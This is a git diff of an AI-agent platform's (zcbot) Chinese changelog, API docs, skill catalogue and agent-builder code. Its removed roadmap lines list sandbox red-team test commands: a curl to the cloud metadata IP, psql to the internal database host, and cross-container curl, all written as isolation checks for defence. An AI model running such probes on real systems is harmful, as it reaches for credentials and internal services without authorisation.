- **`POST /v1/files/rename` + 顶层目录 delete 加 task 引用闸**:`/v1/files/*` 升格唯一目录树 mutation 入口,DB-FS 一致性服务端内化;顶层目录走 DB-aware 分支(SELECT FOR UPDATE + 409 + check_no_subtask + UPDATE 先于 FS)。
|
||||
- **task 级 cancel + AgentLoop 协作式 cancel + dev SPA stop 按钮**:Broker 加 per-task `threading.Event`;Loop 加 cancel_check + `_fill_cancelled_tool_results`;同步 call 本身不可中断(后接 streaming 修)。
|
||||
- **`POST /v1/tasks/{id}/messages` 单活 run 锁 + 孤儿 reaper**:同事务 SELECT FOR UPDATE + 活跃检查 + 标 running 三步原子;lifespan reaper 清 crash 孤儿。
|
||||
- **proposal skill 流程图/结构图管线**:`render_diagrams.py` 扫 mermaid → mmdc/mermaid.ink → png;render_docx 识别 `` + mermaid 围栏;图编号递增。
|
||||
- **system prompt skill 机制改「可选辅助」**:简单问答/读代码/改 bug 不必硬套 skill;接 GET /v1/skills 下拉。
|
||||
- **`GET /v1/skills` + dev SPA skill 字段改下拉**;**dev SPA 全套 UI 中文化**(技术字段不动)。
|
||||
|
||||
### 2026-05-17
|
||||
|
||||
- **0003 schema:name + working_dir + skill 三件套**:任务标识与工作目录解耦;`TRUNCATE tasks CASCADE` + 字段改名 + 加 `name TEXT NOT NULL`;`GET /v1/folders` 给 dev SPA modal datalist。
|
||||
- **`GET /v1/tasks` 分页 + 多维筛选 + ordering**:`{page,page_size,count,results}` + 6 个 query(status/skill/working_dir/q ILIKE/ordering);allowlist 防注入;默认 `-created_at`。
|
||||
- **task 硬删 API + dev SPA delete 按钮 + 文件 per-row 删**:`DELETE /v1/tasks/{id}` user_id 校验 + DB 行删(messages CASCADE)+ **FS task_dir 不动**(同 name 多 task 共享时 rmtree 易擦素材)。
|
||||
- **files API 全面 user-rooted(去掉 task_id 前置)**:`_safe_join` 边界改 user_root + dotfile 过滤(`.memory/` 隐藏);dev SPA `loadFiles()` 不再 gate on task_id。
|
||||
- **files 面板 UX 项目名 + 修 root crumb bug**:`cur_rel == "."` 不追加无意义 "." crumb;crumbs 第一格 label 从 "/" 改项目名。
|
||||
- **task_dir 改 eager mkdir**:`build_agent` 新建分支 + `create_task` 都 `mkdir(parents=True, exist_ok=True)`;name = 项目声明,目录该 task 创建时存在。
|
||||
- **task = name-based 项目目录 + memory dotfile**:废 UUID 派生 + `tasks/` 中间层;`task_dir = workspace/users/<uid>/<name>/`,同 name 多 task 共享;memory 搬 `.memory/` dotfile;`validate_task_name` 拒 `.` 起头。
|
||||
- **0003 schema:name + working_dir + skill 三件套**:任务标识与工作目录解耦;`TRUNCATE tasks CASCADE` + 加 `name NOT NULL`;`GET /v1/folders` 给 datalist。
|
||||
- **`GET /v1/tasks` 分页 + 多维筛选 + ordering**:`{page,page_size,count,results}` + 6 query;allowlist 防注入;默认 `-created_at`。
|
||||
- **task 硬删 API + dev SPA delete + 文件 per-row 删**:`DELETE /v1/tasks/{id}` 删 DB 行(messages CASCADE)+ **FS task_dir 不动**(同 name 多 task 共享)。
|
||||
- **files API 全面 user-rooted + dotfile 过滤**;**files 面板 UX 项目名 + 修 root crumb bug**。
|
||||
- **task_dir 改 eager mkdir**:`build_agent` + `create_task` 都 `mkdir(exist_ok=True)`,name=项目声明。
|
||||
- **task = name-based 项目目录 + memory dotfile**:废 UUID 派生 + `tasks/` 中间层;`task_dir = workspace/users/<uid>/<name>/`,同 name 共享;memory 搬 `.memory/`;`validate_task_name` 拒 `.` 起头。
|
||||
|
||||
### 2026-05-15
|
||||
|
||||
- **§7 D 阶段 `/v1` JSON API 落地;Phase G Jinja2/HTMX UI 路线撤**:删 templates + CSS + jinja2/markdown-it-py/pygments 依赖;SSE event 由 HTML 片段切 JSON(`event: <type>` + `data: <JSON>`);dev SPA `web/static/dev.html` 留作本地 dogfood 主路径。
|
||||
- **§7 D' 过渡 auth(PLATFORM_KEY → JWT)+ dev SPA**:pyjwt HS256 + `AuthConfig.from_env()` fail-fast;数据隔离全 `Task.user_id == user_id`,跨 user 视 404;SSE 走 fetch + ReadableStream 手解(EventSource 不支持自定义 header)。
|
||||
- **task_dir 改相对存储**:DB 存 ROOT 内→相对 posix / ROOT 外→保留绝对;`core/paths.py::{ROOT, to_db_path, from_db_path}` 三出口;alembic 0002 一次 UPDATE backfill。CLAUDE.md 加"开发期不写兼容层"心智。
|
||||
- **workspace 布局统一 per-user**:`workspace/users/<user_id>/{tasks/<uuid>,memory/}/`;**清旧数据不留兼容**。
|
||||
- **litellm 启动 cost map 网络警告兜底**:`LITELLM_LOCAL_MODEL_COST_MAP=True` 走本地 cost map,冷启动 ~5s → <1s。
|
||||
- **Phase G G1-G6 Jinja2/HTMX Web UI** _(全撤,被 D + dev SPA 替换;沉淀的 sink / broker / no-subtask / files 安全归一保留)_
|
||||
- **§7 D 阶段 `/v1` JSON API 落地;Phase G Jinja2/HTMX UI 路线撤**:删 templates + jinja2/markdown-it-py/pygments;SSE event 由 HTML 片段切 JSON;dev.html 留作 dogfood 主路径。
|
||||
- **§7 D' 过渡 auth(PLATFORM_KEY → JWT)+ dev SPA**:pyjwt HS256 + `AuthConfig.from_env()` fail-fast;数据隔离全 `Task.user_id == user_id`;SSE 走 fetch + ReadableStream 手解。
|
||||
- **task_dir 改相对存储**:DB 存 ROOT 内→相对 posix;`core/paths.py::{ROOT,to_db_path,from_db_path}`;alembic 0002 backfill;CLAUDE.md 加「开发期不写兼容层」。
|
||||
- **workspace 布局统一 per-user** + **litellm 启动 cost map 网络警告兜底**(`LITELLM_LOCAL_MODEL_COST_MAP=True`,冷启 ~5s→<1s)+ **Phase G Jinja2/HTMX Web UI 全撤**(沉淀的 sink/broker/no-subtask/files 安全归一保留)。
|
||||
|
||||
### 2026-05-14
|
||||
|
||||
- **§7.1 心智模型修正:Folder-centric → Task 一等公民 + Dir 文件副视图**:dir 不是 task 父容器,双视图正交;task_dir 留空 = 一次性对话 / 指定 = 项目化。
|
||||
- **§7 B Steps 1-4 + 6**:`core/storage/{engine,models}.py` SQLAlchemy 2.x ORM(5 表)+ alembic + `cli db {upgrade,downgrade,current}`;`state.json` 全废,messages/TaskState 入 PG;`check_no_subtask` 同 user 下查前缀嵌套。
|
||||
- **§7.1 心智模型修正:Folder-centric → Task 一等公民 + Dir 文件副视图**:dir 不是 task 父容器,双视图正交。
|
||||
- **§7 B Steps 1-4 + 6**:SQLAlchemy 2.x ORM(5 表)+ alembic + `cli db`;`state.json` 全废入 PG;`check_no_subtask` 查前缀嵌套。
|
||||
|
||||
### 2026-05-12
|
||||
|
||||
|
|
@ -226,11 +202,10 @@
|
|||
|
||||
### 历史(2026-Q1 → 05-11)
|
||||
|
||||
- **Phase 1-4**:骨架 / 三 skill / run_python / Model Profile + Probing;ppt v3 加商务红 + apply_brand + Iconify;素材摄取改 markitdown CLI。
|
||||
- **05-06 → 05-08**:Phase 6 部分(task + state.json + tokens 累计);TUI rich Markdown + spinner 实时耗时;`/resume [last|<id>]` + 懒创建 + `_cleanup_if_empty`。
|
||||
- **05-09 → 05-10**:DESIGN §7 初版(05-12 重写);`cli.py export` + `core/export_docx.py`。
|
||||
- **05-11**:`atomic_write_text` + `core/memory.py`(core.md 入 prompt,extended/* 索引);loop 事件流化 `sink.emit` 铺 SSE 路。
|
||||
- **06-04 token 优化启动**:`DESIGN.md §8.2` 写入上下文治理方案;chat usage 记录 cache hit/miss / reasoning tokens,LiteLLM cost=0 时按模型档案 CNY/Mtok 兜底;`run_python` 新增 `script_path` 模式(长代码先 write .py 再按路径执行,减少 run_python code 入历史);`run_python` / `shell` 长输出只做上下文裁剪,不写 `.tool_logs`;`document_search` 默认召回量保持 6×1200 chars;`core/context.py` 先压缩旧 tool 消息、旧 `load_skill` 结果、旧 assistant tool_call arguments(`write(content=...)` 源码参数),不改持久化历史;`llm_start` SSE 输出 `context_*` 压缩统计,dev SPA 底部 hint 展示上下文压缩与 cache hit/miss。`rust介绍` 实测:task 列表 `70条 / 711k tok` 是历史累计,最近单轮 22k input 且 cache hit 高;新增 arguments 压缩后 sent_chars 估算 `49,166 → 34,415`。
|
||||
- **Phase 1-4**:骨架 / 三 skill / run_python / Model Profile + Probing;ppt v3 商务红 + apply_brand + Iconify;素材摄取改 markitdown CLI。
|
||||
- **05-06 → 05-11**:Phase 6 部分(task + state.json + tokens 累计);TUI rich + `/resume`;DESIGN §7 初版(05-12 重写);`cli.py export` + `core/export_docx.py`;`atomic_write_text` + `core/memory.py`;loop 事件流化铺 SSE 路。
|
||||
- **06-04 token 优化启动(DESIGN §8.2)**:chat usage 记 cache hit/miss + LiteLLM cost=0 时按模型档案 CNY/Mtok 兜底;`run_python` 加 `script_path` 模式;`core/context.py` 压缩旧 tool / load_skill / assistant tool_call arguments 不改持久化历史;`llm_start` SSE 输出 `context_*` 压缩统计。
|
||||
- **06-05 记账给缓存命中折价**:发现 task `tokens_in` 88.6% 是缓存命中却按全价记致虚高 2-3x;`ModelCapabilities` 加 `cache_hit_cny_per_mtoken`,成本公式拆三段;前端 hover tooltip 显真实成本 + 命中率(分母改 usage_events 同源,恒 ≤100%);历史走 backfill 脚本。
|
||||
|
||||
---
|
||||
|
||||
|
|
@ -241,13 +216,14 @@
|
|||
| 工具基目录 | cwd(读)+ working_dir(写) | system prompt 同时注入两者绝对路径 |
|
||||
| Workspace 布局 | `workspace/users/<user_id>/{.memory/, <name>/}` | per-user 隔离;memory dotfile 防撞;同 name 多 task 共享 |
|
||||
| Eval Suite | 不做 | 个人工具 dogfooding |
|
||||
| 版本化 prompt | 直接 `general_v1.md` | Windows 软链接麻烦,真要切再做 |
|
||||
| 版本化 prompt | 直接 `general_v1.md` | 真要切再做 |
|
||||
| run_python 沙盒 | subprocess + env 过滤 | Docker 在 §7 C 阶段 |
|
||||
| 兼容层 | 开发期不写 | DB schema / 字段 / API 改动直接切,见 CLAUDE.md |
|
||||
| `/v1/files/*` 与 DB | files API 作目录树唯一 mutation 入口,DB-FS 一致性服务端内化 | rename / delete 顶层目录 DB-aware |
|
||||
| 单活 run | task 同时最多 1 个活 run | gate 在 `post_message` 同事务 `SELECT FOR UPDATE` |
|
||||
| LLM 调用走 streaming | `chat_stream` + `litellm.stream_chunk_builder` 拼回;cancel 在 chunk 间 + tool_call 之间 poll | cancel 延迟 100ms 级;content delta 即时 emit 给前端打字机 |
|
||||
| 发送/停止单按钮 | UI 按 `state.streaming` 切态;streaming 期间 Enter 不触发停止 | 防误触 |
|
||||
| LLM 调用走 streaming | `chat_stream` + `stream_chunk_builder` 拼回;chunk 间 + tool_call 间 poll cancel | cancel 延迟 100ms 级;content delta 即时 emit |
|
||||
| 上下文压缩 | 加压力门槛,超阈值才压 | 护前缀缓存 + 不丢旧细节(§8.2 / 06-10) |
|
||||
| 停机判据 | max_iterations 降为 backstop,靠进展信号掐空转 | `_RepeatGuard` + run 级 `_stall`(06-10) |
|
||||
|
||||
---
|
||||
|
||||
|
|
@ -255,55 +231,40 @@
|
|||
|
||||
```
|
||||
core/capabilities.py 75 ← 模型档案增加 CNY/Mtok 计费兜底字段
|
||||
core/llm.py 151 ← litellm 离线 cost map env + chat_stream(stream=True + include_usage)
|
||||
core/loop.py 300 ← §7 A sink.emit + _stream_llm(chunk 间 poll cancel + emit delta)+ usage cache 明细
|
||||
core/context.py 95 ← LLM 调用前压缩旧 tool / load_skill 消息,保 tool_call 协议字段,返回压缩统计
|
||||
core/sinks.py 101 ← §7 A
|
||||
core/ui.py 38
|
||||
core/llm.py 151 ← litellm 离线 cost map env + chat_stream(stream + include_usage)
|
||||
core/loop.py 300 ← sink.emit + _stream_llm(chunk 间 poll cancel + emit delta)+ _RepeatGuard + usage cache 明细
|
||||
core/context.py 95 ← LLM 调用前压缩旧 tool / load_skill 消息(带压力门槛),保 tool_call 协议字段
|
||||
core/sinks.py 101
|
||||
core/paths.py 50 ← task_dir db form 归一
|
||||
core/probe.py 243
|
||||
core/session.py 153 ← §7 B Step 2-3: ORM
|
||||
core/skills.py 81
|
||||
core/task.py 82 ← §7 B Step 3: PG-backed TaskState
|
||||
core/session.py 153 ← ORM
|
||||
core/task.py 82 ← PG-backed TaskState
|
||||
core/skills.py 180 ← 多来源 registry(SkillSource)+ source 标记 + 覆盖感知(user wins)+ load_errors + container_dir
|
||||
core/memory.py 81 ← per-user `.memory/` dotfile
|
||||
core/export_docx.py 383
|
||||
core/storage/__init__.py 29
|
||||
core/storage/engine.py 80
|
||||
core/storage/models.py 130 ← 4 表(0004 删 runs;0005 email UNIQUE;0006 usage_events v2 + messages.model_profile;0007 cost_usd→cny)
|
||||
core/storage/usage.py 150 ← record_chat_usage(USD→CNY ×7.2,LiteLLM cost=0 时 YAML 单价兜底)+ record_image_usage(单价 snapshot 进 units)
|
||||
core/storage/utils.py 136
|
||||
core/ark_client.py 105 ← 火山方舟 HTTP 客户端(seedream / 后续 seedance 共享)
|
||||
core/agent_builder.py 325 ← 装配 lib(有 ARK_API_KEY 才挂 SeedreamTool)
|
||||
tools/{base,fs,shell,run_python,skill_tool,seedream}.py ~680 行(run_python 支持 script_path)
|
||||
main.py ~210 ← 入口:web / db / probe / user
|
||||
db/migrations/env.py 61
|
||||
db/migrations/versions/
|
||||
0001_initial_schema.py 125
|
||||
0002_task_dir_relative.py 61
|
||||
0003_task_name_and_working_dir.py 51
|
||||
0004_drop_runs_usage_events.py 77
|
||||
0005_users_email_unique.py 28
|
||||
0006_usage_events_v2_and_message_model.py 60
|
||||
0007_cost_usd_to_cny.py 40
|
||||
web/__init__.py 5
|
||||
web/app.py ~1320 ← /v1 JSON API + user_id 隔离 + run lock + cancel + files copy/move
|
||||
core/storage/{__init__,engine,models,usage,utils}.py ← 4 表(0004-0007 演进);record_chat/image_usage
|
||||
core/ark_client.py 105 ← 火山方舟 HTTP 客户端
|
||||
core/agent_builder.py 340 ← 装配 lib(有 ARK_API_KEY 才挂 SeedreamTool);build_skill_registry 装两来源
|
||||
core/executor.py / sandbox/{network,pool}.py / executor_docker.py ← Executor ABC + Docker per-user 容器池
|
||||
tools/{base,fs,shell,run_python,skill_tool,skill_authoring,seedream,seedance,web_search,web_fetch,documents,materials_project}.py ← skill_authoring=save_skill/fork_skill(host-side 写 user .skills)
|
||||
main.py ~210 ← 入口:web / db / probe / user / sandbox check
|
||||
db/migrations/versions/ 0001-0008
|
||||
web/app.py ~1360 ← /v1 JSON API + user_id 隔离 + run lock + cancel + files + pptx 预览 + skills(列表/正文/删)
|
||||
web/auth.py ~190 ← 邮箱密码 + platform_key → JWT
|
||||
web/broker.py 121 ← in-process pub/sub + cancel signal(全 task_id 索引)
|
||||
web/sinks.py 21
|
||||
web/static/dev.html ~2480 ← dev SPA(3 栏 + 文件预览 + 双 tab 登录 + 选入弹框 + 发送/停止单按钮 + 流式打字机)
|
||||
web/broker.py / sinks.py / pptx_render.py
|
||||
web/static/dev.html + js/*.js ← dev SPA 拆 15 个零构建 ES module(main.js 入口;skills.js=技能查看 modal)
|
||||
web/static/vendor/ ~1 MB ← jszip / docx-preview / xlsx
|
||||
─────────────────────────────────
|
||||
Python 合计 ~3400 行(+ dev.html 1700 静态 + vendor 1MB)
|
||||
Python 合计 ~3400 行(+ dev SPA + vendor 1MB);加 skills 脚本 + 配置,总仓库约 3800 行
|
||||
```
|
||||
|
||||
加 `skills/ppt|proposal|coding|research/` 脚本 ~700 行 + SKILL.md / references / config / prompts(含 `config/media/doubao.yaml`)+ alembic.ini,总仓库约 3800 行。
|
||||
|
||||
---
|
||||
|
||||
## 下一步候选(性价比排序)
|
||||
|
||||
1. **真 OIDC 接入 + CORS 收紧**(~1 天)—— `/v1/auth/login` 内部换 OIDC ID token 校验(路由层 Depends 不动);CORS 改 platform 域名 allowlist。**真发布给真实用户前必做**。
|
||||
2. **§7 C Executor + sandbox**(~3-5 天,按 DESIGN §7.5 落地清单 6 条逐项实施)—— `run_python`/`shell` → `Executor.run(...)`,本地保留 subprocess、SaaS 走 docker;`api_key_env` → `KeyProvider` 运行时注入。多用户在线跑代码前置。**Stage C 完成 DoD** = 6 条落地清单全完成 + 红队回归用例通过:① 容器内 `curl http://169.254.169.254/...` → timeout / connection refused;② 容器内 `psql postgresql://<zcbot_pg_host>...` → IP block(连接失败);③ 容器内 `nohup sleep 1000 &` exec 退出后 `docker top <user_container>` 看不到残留进程;④ 跨 user 容器互访(A 容器 `curl http://<B_container_ip>:*`)→ 网络隔离阻断;⑤ 出网走 proxy 时未在 allowlist 的域名 → 403。原 ~2-3 天估值未含 egress proxy 部署 / xfs project quota 升级 / 红队用例,补回真实工程量。
|
||||
3. **Phase 6 context 三层压缩**(~1 天)—— 先做旧 tool 消息压缩(`role/tool_call_id/name` 保持协议完整),再做 task summary;不写 `.tool_logs`,不改 `document_search` 默认召回量。
|
||||
1. **CORS 收紧**(~半小时,已接入真实用户应尽快做)—— `allow_origins` 从 `*` 改读 env 域名 allowlist;与 OIDC 解耦。
|
||||
- **真 OIDC**(~1 天,选做)—— `/v1/auth/login` 内部换 ID token 校验(路由层 Depends 不动);**邮箱密码长期保留并存**。platform_key 信任模型可接受则可延后,真要弃 PLATFORM_KEY 共享密钥时再做(延后无技术债)。
|
||||
2. **§7 C Executor + sandbox 收尾**(~3-5 天,按 §7.5 落地清单)—— 剩 Step 4 完整 egress proxy + Step 3b PGID kill 协议 + xfs project quota OS 层硬化。**Stage C DoD** = 6 条落地清单全完成 + 红队回归通过(metadata IP / PG IP block、残留进程清理、跨 user 网络隔离、egress allowlist)。**多用户在线跑代码 hard prereq**。
|
||||
3. **Phase 6 context 第二步 task summary**(~1 天)—— 旧消息压成一条 summary(区分硬约束/计划/文件路径/关键事实),不直接塞回旧 tool 原文。
|
||||
|
||||
> §7 B + D + D' + 单活 run 锁 + cancel + 0004 schema 瘦身 + 入口归位 主体已完工。剩余:真 OIDC → C(Executor)→ F(deploy / billing)。§7 E CLI 双模式撤;Phase G Jinja2/HTMX 撤(详见 DESIGN §7.9)。
|
||||
> §7 B + D + D' + 单活 run 锁 + cancel + 0004 schema 瘦身 + 入口归位 + Stage C 主体已完工。剩余:真 OIDC → C 收尾 → F(deploy/billing)。§7 E CLI 双模式撤;Phase G Jinja2/HTMX 撤(详见 DESIGN §7.9)。
|
||||
|
|
|
|||
4
RUN.md
4
RUN.md
|
|
@ -151,6 +151,9 @@ curl --noproxy '*' -H "Authorization: Bearer $TOKEN" http://127.0.0.1:8765/v1/ta
|
|||
| `PATCH /v1/tasks/{id}` | `{status?,description?,name?,skill?}`;active 不让从 web 切回 | 必填 |
|
||||
| `DELETE /v1/tasks/{id}` | 硬删 DB 行(messages CASCADE);若 working_dir 已无其他 task 引用且 FS 目录为空 → 顺手 rmdir 清孤儿(非空 / 外部 --working-dir 静默跳过) | 必填 |
|
||||
| `GET /v1/folders` | 列当前 user 工作目录 + n_tasks + last_used | 必填 |
|
||||
| `GET /v1/skills` | 列当前 user 可用 skill(内置 + 自己的);每项带 `source`(builtin/user)/`overrides_builtin`;另返 `load_errors`(用户 skill 因 frontmatter 坏未加载的) | 必填 |
|
||||
| `GET /v1/skills/{name}` | 返某 skill 完整 SKILL.md 正文(前端「技能」modal 点开查看);同名按 user wins | 必填 |
|
||||
| `DELETE /v1/skills/{name}` | 删当前 user 私有 skill(`.skills/<name>/` 整目录);只删 user 源,内置不可删 → 404;`.skills` 文件面板隐藏,这是 UI 上删自己 skill 的唯一入口 | 必填 |
|
||||
| `GET /v1/tasks/{id}/messages` | LiteLLM payload 透传 | 必填 |
|
||||
| `POST /v1/tasks/{id}/messages` | `{content, image_model?=""}` 发消息;返 `{events_url}`;**`run_status` 是 running/cancelling → 409**(单活 run;error 起新 run 时清);`image_model` 是 `config/media/doubao.yaml` image 段的 variant key(空 → 沿用 yaml 第一个),仅本 run 装配 SeedreamTool 时使用,不入 DB;UI 应 disable send 直到 SSE `done` | 必填 |
|
||||
| `GET /v1/tasks/{id}/events` | SSE 流(`event: <type>` + `data: <json>`);订阅 task 当前活动 | 必填 |
|
||||
|
|
@ -735,6 +738,7 @@ sudo xfs_quota -x -c "limit -p bhard=10g zcbot_<user_uuid>" /opt
|
|||
- **Skill**:`skills/{coding,ppt,proposal}/SKILL.md`(渐进披露,§3.5)
|
||||
- **Workspace**(per-user 子树,user_id 来自 JWT `sub`):
|
||||
- `workspace/users/<user_id>/.memory/{core.md, extended/}` — 跨 task 记忆,FS 永久,dotfile 隔离
|
||||
- `workspace/users/<user_id>/.skills/<name>/SKILL.md` — 用户私有 skill,dotfile 隐藏;只对该用户生效,与内置同名则覆盖内置(user wins)。由 agent 工具 `save_skill` / `fork_skill` 写(host-side,不走沙箱 fs);docker 下随 user_root bind 到 `/workspace/.skills`
|
||||
- `workspace/users/<user_id>/<working_dir>/` — 工作目录,用户起名,同 working_dir 多 task 共享
|
||||
|
||||
---
|
||||
|
|
|
|||
|
|
@ -1,11 +1,13 @@
|
|||
# zcbot Skill 清单
|
||||
|
||||
服务对象:中国建筑材料科学研究总院 —— 无机非金属材料 R&D(水泥 / 混凝土 / 玻璃 / 陶瓷 / 耐火 / 新型建材)
|
||||
最后更新:2026-06-08
|
||||
Skill 总数:14
|
||||
最后更新:2026-06-11
|
||||
Skill 总数:15
|
||||
|
||||
zcbot 的"skill"是一份可加载的工作流脚本(`skills/<name>/SKILL.md` + 配套 templates / scripts / Python helper),模型在识别用户意图后挂载对应 skill,按其内置的阶段化流程产出可交付物。本文档面向**使用方 / 协作方**,按"做什么、什么时候用、什么时候别用、典型产物"组织。
|
||||
|
||||
> **用户私有 skill**:除内置 skill 外,每个用户可在自己私有的 `.skills/` 下创建 / 改造 skill(只对自己生效,不影响他人)。用 `skill-creator` 引导即可——从零写或 fork 某个内置 skill 再改。用户 skill 与内置**同名则覆盖内置**(列表里标 `[你的·已覆盖内置]`),改名则并存。
|
||||
|
||||
---
|
||||
|
||||
## 速览
|
||||
|
|
@ -26,6 +28,7 @@ zcbot 的"skill"是一份可加载的工作流脚本(`skills/<name>/SKILL.md` +
|
|||
| 内容生成 | [videogen](#videogen) | 豆包 Seedance 2.0 文生视频(¥1.86 起 / 段) |
|
||||
| 通用 | [analyze](#analyze) | 科学问题拆解 / 引导(模糊命题 → 子问题 + 路线图) |
|
||||
| 通用 | [coding](#coding) | 修代码 / 调试 / 重构 |
|
||||
| 元能力 | [skill-creator](#skill-creator) | 引导用户创建 / 改造自己的私有 skill(从零写或 fork 内置) |
|
||||
|
||||
---
|
||||
|
||||
|
|
@ -430,6 +433,31 @@ paper_server 是内部 Django 文献库:元数据来自 OpenAlex,PDF / XML 由 S
|
|||
|
||||
---
|
||||
|
||||
### skill-creator
|
||||
**引导用户创建 / 改造自己的私有 skill。**
|
||||
|
||||
把"每次都要重复交代的一套做法"沉淀成用户私有 skill,存在自己的 `.skills/` 下,只对自己生效。两种来源:**从零写**(`save_skill` 写一份 SKILL.md)或 **fork 内置再改**(`fork_skill` 整目录拷过来、连脚本一起带,再编辑)。
|
||||
|
||||
**何时用**:
|
||||
- ✅ 用户说"我想要个自己的 skill / 自定义 skill / 把这套流程固定下来"
|
||||
- ✅ 用户说"zcbot 的 X skill 挺好但我想改成 Y"(→ fork 再改)
|
||||
- ✅ 用户每次任务都重复交代同一套约束(术语表 / 模板 / 禁忌),值得固化
|
||||
|
||||
**何时不用**:
|
||||
- ⛔ 用户只是要完成一个具体任务 → 走对应内置 skill,别绕到造 skill
|
||||
- ⛔ 要改的是所有任务都该遵守的全局行为 → 那是偏好 / system prompt,不是 skill
|
||||
- ⛔ 一次性的事 → 直接做
|
||||
|
||||
**关键机制**:
|
||||
- 用户 skill 存私有 `.skills/<name>/`(文件面板隐藏),用 `save_skill` / `fork_skill` 落盘(**不走 fs/shell**——沙箱 fs 根够不到那里)
|
||||
- 造好 / 改好后**下一条消息**才生效(registry 每轮重建)
|
||||
- 同名内置 → 覆盖(user wins,列表显式标注);改名 → 并存
|
||||
- `save_skill` 写时校验 frontmatter(缺 description / YAML 坏直接拒),挡住"加载失败"黑洞
|
||||
|
||||
**典型产物**:`.skills/<name>/SKILL.md`(+ fork 带来的 scripts / references / templates)。
|
||||
|
||||
---
|
||||
|
||||
## 跨 skill 协作
|
||||
|
||||
实际任务往往跨多个 skill,典型组合:
|
||||
|
|
@ -439,6 +467,7 @@ paper_server 是内部 Django 文献库:元数据来自 OpenAlex,PDF / XML 由 S
|
|||
- **写标准全流程**:analyze(定标准化对象) → stats_ml(配方-性能 / 精密度试验数据定指标) → research / documents(查国内外现有标准与现状) → standard(起草标准 + 编制说明) → plot_pub(出图) → review(送审前终审)
|
||||
- **PPT 汇报**:analyze(提炼论点) → research / documents(找数据 + 引文) → plot_pub(出图) → ppt(组装 deck) → imagegen(可选,做封面 / 引子页)
|
||||
- **晶体计算**:pymatgen(算 XRD / 相图) → plot_pub(出图) → proposal / patent(写到本子 / 交底书里)
|
||||
- **定制能力**:skill-creator(fork 某内置 skill,如 ppt / proposal) → 改造成本组 / 本人专属版本(术语 / 模板 / 默认值),之后日常任务直接用改造版
|
||||
|
||||
---
|
||||
|
||||
|
|
|
|||
|
|
@ -49,6 +49,7 @@ from tools.run_python import RunPythonTool
|
|||
from tools.seedance import SeedanceTool
|
||||
from tools.seedream import SeedreamTool
|
||||
from tools.shell import ShellTool
|
||||
from tools.skill_authoring import ForkSkillTool, SaveSkillTool
|
||||
from tools.skill_tool import LoadSkillTool
|
||||
from tools.task_progress import TaskProgressTool
|
||||
from tools.web_fetch import WebFetchTool
|
||||
|
|
@ -58,6 +59,20 @@ from core.ark_client import ArkConfig
|
|||
from core.bocha_client import BochaConfig
|
||||
|
||||
|
||||
# 媒体工具(seedream / seedance)指引:仅当本 run 真的挂了媒体工具(ARK_API_KEY 存在,
|
||||
# ArkConfig.load() 非 None)才追加进 system prompt —— 没 key 的用户不会看到永远报错的工具,
|
||||
# 也不该背这段红线。文案与 base 模板里其余工具表平级,放在 _build_system_prompt 里按需拼。
|
||||
_MEDIA_TOOLS_BLOCK = """\
|
||||
|
||||
## 媒体生成工具(seedream 图 / seedance 视频)
|
||||
- `seedream` —— 豆包图像生成。产物自动落 `<task_dir>/figures/`。每次 **¥0.22**(联网 `search=true` 加 ¥0.05)。
|
||||
- **调用前必须先 `load_skill('imagegen')`** —— skill 里有「何时该用 / 该不该用 mermaid 替代 / 用户描述模糊度诊断 / 一次性追问范式 / prompt 装配 / 失败解药」全套引导。**不要拿用户原话直接当 prompt 调 tool** —— 容易烧 ¥0.22 在错的方向上。
|
||||
- 兜底硬约束(即使没 load skill 也守):用户没主动要图就别装饰性生成;同一目的不满意**不要连发**,先口头校准 prompt 再调。
|
||||
- `seedance` —— 豆包视频生成(Seedance 2.0 Fast)。异步任务,**等 30-90s 出片**;产物自动落 `<task_dir>/videos/`。每次 **¥1.86 起**(480p 4s)~ **¥12+**(720p 15s),比图贵 10 倍以上。触发词:视频 / 动画 / 动起来 / 做个 video / 镜头 / 短片 / 演示视频 / 动效。
|
||||
- **调用前必须先 `load_skill('videogen')`** —— skill 里有「6 维诊断(含运动维必填)/ seedream/mermaid 反向选型 / prompt 装配 / 参数取舍(时长/分辨率/比例直接决定钱)/ 失败解药」全套引导。视频比图贵 10 倍且 90s 等待,绝对不要拿用户原话当 prompt 直接调。
|
||||
- 兜底硬约束:用户没主动要视频就别装饰性生成(比生图更严重的红线);同一目的不满意**绝不连发**(1 次错 = ¥4+60s,连发 2 次 = ¥8+2min);phase 1 仅文生视频,**不支持** image-to-video / video-to-video。"""
|
||||
|
||||
|
||||
def load_config() -> dict:
|
||||
return yaml.safe_load((ROOT / "config" / "agent.yaml").read_text(encoding="utf-8")) or {}
|
||||
|
||||
|
|
@ -110,12 +125,36 @@ def resolve_workspace(workspace: Optional[str], cfg: Optional[dict] = None) -> P
|
|||
|
||||
|
||||
def user_root(workspace_dir: Path, user_id: UUID) -> Path:
|
||||
"""per-user 子树根:`<workspace>/users/<user_id>/`。working_dir / `.memory/` 都在下面。"""
|
||||
"""per-user 子树根:`<workspace>/users/<user_id>/`。working_dir / `.memory/` / `.skills/` 都在下面。"""
|
||||
d = workspace_dir / "users" / str(user_id)
|
||||
d.mkdir(parents=True, exist_ok=True)
|
||||
return d
|
||||
|
||||
|
||||
def build_skill_registry(
|
||||
cfg: dict, workspace_dir: Path, user_id: UUID, *, docker: bool
|
||||
) -> "SkillRegistry":
|
||||
"""装两来源 registry:内置 skill(`ROOT/skills`,只读)+ 用户 skill(`user_root/.skills`)。
|
||||
|
||||
用户来源排在内置之后 → 同名时 user wins(详 core/skills.py)。container_root 仅 docker
|
||||
用:内置 bind 到 `/sandbox/skills`,用户 `.skills` 在 user_root 内、随 user_root bind 到
|
||||
`/workspace`,故为 `/workspace/.skills`。host backend 传 None。
|
||||
"""
|
||||
from core.skills import SkillSource
|
||||
|
||||
builtin = SkillSource(
|
||||
ROOT / cfg.get("skills_dir", "skills"),
|
||||
"builtin",
|
||||
"/sandbox/skills" if docker else None,
|
||||
)
|
||||
user = SkillSource(
|
||||
user_root(workspace_dir, user_id) / ".skills",
|
||||
"user",
|
||||
"/workspace/.skills" if docker else None,
|
||||
)
|
||||
return SkillRegistry([builtin, user])
|
||||
|
||||
|
||||
class InvalidTaskName(ValueError):
|
||||
"""task name / working_dir 不合法(空 / 含分隔符 / dotfile 起头 / 超长)。"""
|
||||
|
||||
|
|
@ -199,6 +238,7 @@ def _build_system_prompt(
|
|||
task_id: UUID,
|
||||
task_name: str,
|
||||
task_skill: str = "",
|
||||
media_enabled: bool = False,
|
||||
) -> str:
|
||||
"""拼 system prompt: 模板 + skill 列表 + memory + 工作目录段 + task 上下文 + 命名约定。
|
||||
|
||||
|
|
@ -213,6 +253,8 @@ def _build_system_prompt(
|
|||
